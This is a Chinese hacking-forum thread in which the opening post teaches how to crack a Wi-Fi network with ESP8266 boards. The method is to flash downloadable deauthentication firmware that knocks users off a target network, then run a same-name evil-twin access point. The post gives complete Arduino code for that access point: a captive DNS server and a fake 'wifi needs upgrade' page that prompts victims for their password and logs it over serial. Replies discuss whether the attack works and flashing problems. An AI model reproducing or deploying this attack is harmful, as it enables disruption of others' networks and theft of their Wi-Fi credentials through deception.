# 当硬件被利用起来，破解任何wifi

**URL:** <https://forum.90sec.com/t/topic/914>\
**Category:** 技术文章\
**Created:** [2020 年3 月 26 日 02:36 UTC](https://forum.90sec.com/t/topic/914 "2020-03-26T02:36:51Z")\
**Posts on this page:** 13\
**Page:** 1

<div class="post-metadata">

作者： ![dadvlingd](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/b3f665/32.png) [@dadvlingd](https://forum.90sec.com/u/dadvlingd)\
发布日期： [2020 年3 月 26 日 02:36 UTC](https://forum.90sec.com/t/topic/914/1 "2020-03-26T02:36:51Z")

</div>

## 前言

1、使用esp8266wifi攻击+esp8266钓鱼

2、烧写攻击固件bin，

固件地址为  
链接：[https://pan.baidu.com/s/1WBGKKZ9HAtKcQV5VcnZN0w](https://pan.baidu.com/s/1WBGKKZ9HAtKcQV5VcnZN0w)  
提取码：4o8a

地址为0x0000 ，烧写成功以后，稍等片刻，会看到一个wifi为`zhangguanzhang`的ssid

密码为`zhangguanzhang`

连接上去，地址192.168.4.1

页面如下

 ![360截图17081023336235](https://forum.90sec.com/uploads/default/original/2X/b/b23c85d773a00515beefe67187ed8aa8cf9fe364.png)

选择一个wifi信号比较强的，如图我选中了yanjie，然后点击边栏攻击

 ![360截图18141220101122114](https://forum.90sec.com/uploads/default/original/2X/9/94c938d41c6e4517e466f6541309e37085f609bf.png)

点击开始，就可以，目标网络就会断线，客户连接不上。此时我们创建同SSID的wifi，使用arduino，代码如下

```c
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <ESP8266WiFi.h>

//调试定义
#define DebugBegin(baud_rate) Serial.begin(baud_rate)
#define DebugPrintln(message) Serial.println(message)
#define DebugPrint(message) Serial.print(message)
#define DebugPrintF(...) Serial.printf( __VA_ARGS__ )

const byte DNS_PORT = 53;
IPAddress apIP(192, 168, 1, 1);
DNSServer dnsServer;
ESP8266WebServer webServer(80);

void web(){
     String html = "";
  html +="<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>";
  html += "<head ><title>wifi需要升级</title></head>";
  html += " <body><script type='text/javascript'>";
  html += " var code = prompt('请输入wifi密码：');";
  html += " window.location.href='app?a='+code;";
  html += " </script>";
  html += " </body>";
  webServer.send(200, "text/html", html);
  
  
  
  }
void paa(){
  DebugPrintln("密码");
  DebugPrintln(webServer.arg(0));
  
  
  }

void setup() {
  DebugBegin(115200);
  WiFi.mode(WIFI_AP);
  WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
  WiFi.softAP("yanjie");//目标wifi修改成目标wifi

 
  // 所有请求都映射到一个具体地址
  dnsServer.start(DNS_PORT, "*", apIP);

  // replay to all requests with same HTML
  webServer.onNotFound([]() {
    web();
  });
  webServer.on("/app",paa);
  webServer.begin();
  //webServer.onNotFound(paa);
}

void loop() {
  dnsServer.processNextRequest();
  webServer.handleClient();
  
}

```

烧写上面源码到另外一块8266完以后，我们查看串口信息，波特率115200，正常用户就会尝试连接这个wifi，一旦连接上，就会跳转网页，请求输入WiFi密码，用户连上去，并且输入密码，就可以在串口得到密码

---

<div class="post-metadata">

作者： ![hitman](https://forum.90sec.com/user_avatar/forum.90sec.com/hitman/32/3370_2.png) [@hitman](https://forum.90sec.com/u/hitman)\
发布日期： [2020 年4 月 7 日 10:03 UTC](https://forum.90sec.com/t/topic/914/2 "2020-04-07T10:03:00Z")

</div>

强一点的路由都打不掉

---

<div class="post-metadata">

作者： ![dadvlingd](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/b3f665/32.png) [@dadvlingd](https://forum.90sec.com/u/dadvlingd)\
发布日期： [2020 年4 月 7 日 10:14 UTC](https://forum.90sec.com/t/topic/914/3 "2020-04-07T10:14:13Z")

</div>

实验过才下结论吧

---

<div class="post-metadata">

作者： ![OverJerry](https://forum.90sec.com/user_avatar/forum.90sec.com/overjerry/32/5217_2.png) [@OverJerry](https://forum.90sec.com/u/OverJerry)\
发布日期： [2020 年4 月 8 日 00:40 UTC](https://forum.90sec.com/t/topic/914/4 "2020-04-08T00:40:23Z")

</div>

基本都打得掉的，，，当然超级nb的除外

---

<div class="post-metadata">

作者： ![hitman](https://forum.90sec.com/user_avatar/forum.90sec.com/hitman/32/3370_2.png) [@hitman](https://forum.90sec.com/u/hitman)\
发布日期： [2020 年4 月 8 日 03:47 UTC](https://forum.90sec.com/t/topic/914/5 "2020-04-08T03:47:40Z")

</div>

当时试过，就是没打掉。应该是我姿势不对

---

<div class="post-metadata">

作者： ![cmd](https://forum.90sec.com/user_avatar/forum.90sec.com/cmd/32/22_2.png) [@cmd](https://forum.90sec.com/u/cmd)\
发布日期： [2020 年4 月 8 日 15:43 UTC](https://forum.90sec.com/t/topic/914/6 "2020-04-08T15:43:48Z")

</div>

这个思路初次听说，看来我要多补补这方面得知识。

---

<div class="post-metadata">

作者： ![Evan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/e/54ee81/32.png) [@Evan](https://forum.90sec.com/u/Evan)\
发布日期： [2021 年5 月 25 日 01:26 UTC](https://forum.90sec.com/t/topic/914/7 "2021-05-25T01:26:49Z")

</div>

不知道软路由器能不能打掉

---

<div class="post-metadata">

作者： ![kriss](https://forum.90sec.com/user_avatar/forum.90sec.com/kriss/32/8019_2.png) [@kriss](https://forum.90sec.com/u/kriss)\
发布日期： [2021 年5 月 26 日 02:17 UTC](https://forum.90sec.com/t/topic/914/8 "2021-05-26T02:17:21Z")

</div>

为什么我打掉了 等了1天都没有获取到密码

---

<div class="post-metadata">

作者： ![1483769879](https://forum.90sec.com/letter_avatar_proxy/v4/letter/1/cc9497/32.png) [@1483769879](https://forum.90sec.com/u/1483769879)\
发布日期： [2021 年6 月 4 日 00:32 UTC](https://forum.90sec.com/t/topic/914/9 "2021-06-04T00:32:29Z")

</div>

可以可以，思路很高

---

<div class="post-metadata">

作者： ![kongxin](https://forum.90sec.com/user_avatar/forum.90sec.com/kongxin/32/3243_2.png) [@kongxin](https://forum.90sec.com/u/kongxin)\
发布日期： [2021 年6 月 4 日 03:20 UTC](https://forum.90sec.com/t/topic/914/10 "2021-06-04T03:20:38Z")

</div>

这玩意买的时候得买内存大点的，内存小了有的固件刷不上

---

<div class="post-metadata">

作者： ![xcswhy](https://forum.90sec.com/letter_avatar_proxy/v4/letter/x/9fc348/32.png) [@xcswhy](https://forum.90sec.com/u/xcswhy)\
发布日期： [2021 年9 月 15 日 12:45 UTC](https://forum.90sec.com/t/topic/914/11 "2021-09-15T12:45:56Z")

</div>

怎么烧写你这个代码？ 都是报错

---

<div class="post-metadata">

作者： ![dadvlingd](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/b3f665/32.png) [@dadvlingd](https://forum.90sec.com/u/dadvlingd)\
发布日期： [2024 年12 月 6 日 02:00 UTC](https://forum.90sec.com/t/topic/914/12 "2024-12-06T02:00:31Z")

</div>

怎么可能，依赖装好没

---

<div class="post-metadata">

作者： ![00002](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/d2c977/32.png) [@00002](https://forum.90sec.com/u/00002)\
发布日期： [2025 年1 月 30 日 06:09 UTC](https://forum.90sec.com/t/topic/914/13 "2025-01-30T06:09:35Z")

</div>

無法下載固件  
我沒有百度
